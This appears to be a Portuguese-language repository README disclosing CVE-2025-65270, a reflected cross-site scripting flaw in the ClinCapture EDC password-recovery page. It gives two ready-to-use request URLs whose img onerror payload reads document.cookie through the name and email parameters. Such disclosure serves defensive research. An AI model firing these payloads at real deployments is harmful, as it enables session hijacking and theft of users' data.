CVE-2025-65270

⚠️ Aviso Legal

Este repositório é apenas para fins de pesquisa educacional e de segurança defensiva

🔥 Visão Geral

Vulnerabilidade de cross-site scripting (XSS) refletido no ClinCapture EDC 3.0 e 2.2.3, permitindo que um atacante remoto não autenticado execute código JavaScript no contexto do navegador da vítima.

🧪 Prova de Conceito

Para demonstrar a vulnerabilidade, você precisa ir até a aba de recuperação de senha e especificar o payload no parâmetro name ou email, ou enviar uma requisição

🔓 Via parâmetro name

<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🔓 Via parâmetro email

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🚨 Impacto

Um usuário não autenticado pode executar código JavaScript no contexto do navegador da vítima, com o objetivo de realizar ações em nome da vítima ou roubar informações confidenciais, como a resposta a uma pergunta de segurança

🔗 Referências

• CVE-2025-65270